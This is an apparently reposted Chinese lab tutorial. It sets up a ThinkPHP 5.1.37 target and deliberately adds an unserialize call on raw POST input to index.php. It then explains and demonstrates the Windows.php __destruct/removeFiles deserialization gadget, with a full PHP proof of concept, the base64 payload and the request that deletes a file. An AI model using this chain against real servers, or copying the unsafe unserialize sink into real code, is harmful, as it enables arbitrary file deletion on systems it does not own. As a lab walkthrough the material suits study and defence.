反序列化漏洞4-Thinkphp5.4靶场安装及Thinkphp反序列化漏洞任意文档删除演示

一.Thinkphp5.4靶场安装

安装环境所需

虚拟机:win10-1903

安装包:

将这三个压缩包导入win10虚拟机并解压缩:

常规安装下一步即可:

注意要是跳出:一定要点击下载这个。

安装完成后:
进入小皮将WNMP里面换成Apache。

然后启动;

我们ipconfig查看win10ip地址:192.168.105.199

我们将源码解压后转到网站目录下:

然后物理机访问浏览器:

http://192.168.105.199/think-5.1.37/public/

到这里环境搭建就完成了。

我们再将:

$s = base64_decode($_POST['key']);
unserialize($s);
加入到index.php文件中:
之后我们再去访问浏览器:
报错是因为,我们刚加的key参数这里没有传参:
我们这里随便传一个参数就不会报错了。

二.ThinkPHP 反序列化漏洞任意文件删除

漏洞存在位置: C:\phpstudy_pro\WWW\think5.1.37\thinkphp\library\think\process\pipes\Windows.php
Windows.php 中定义了__destruct 当一个对象销毁时被调用,此时执行 removeFiles()方法。
我们将源代码导入到我们的审计器具中:
点左上角新建计划导入我们想要查看的档案。
接着全局搜索:__destruct
最下面的windows的就是我们的目标文件:
双击打开
可以看到__destruct里面定义了两个方法,而removefile就是删除文件的方法:
我们在左边函数列表寻找到remove方法双击点开:
查找 removeFiles 函数允许看到该函数中使用了$this->files 而 files 是可控的。
Filename 借助 this->files 获取材料路径,然后 file_exists 判断 filename 文件路径是否存在,如
果存在则通过@unlink 删除材料。
原理解释完毕,下面给出poc:
<?php
//引用命名空间和 Pipes 类
namespace think\process\pipes;
class Pipes{}
//Windows 类
class Windows extends Pipes
{
//files 属性
private $files = [];
//__construct 魔术方法
public function __construct()
{
//$this->files 属性的值修改为我们要删除的文件
$this->files=['c:\\fjw.txt'];
}
}
//base64 输出序列化后的 Windows 对象
echo base64_encode(serialize(new Windows()));
?>
我们拿到kali或者centos里面都许可:
然后运行复制结果:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJjOlxmancudHh0Ijt9fQ==
随后我们在php中创建一个fjw.txt:
然后在hackbar里面构造:
key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJjOlxmancudHh0Ijt9fQ==
点击EXECUTE执行,然后查看:
看到执行成功任意资料删除。
posted @ 2025-07-30 12:14  yjbjingcha  阅读(17)  评论(0)    收藏  举报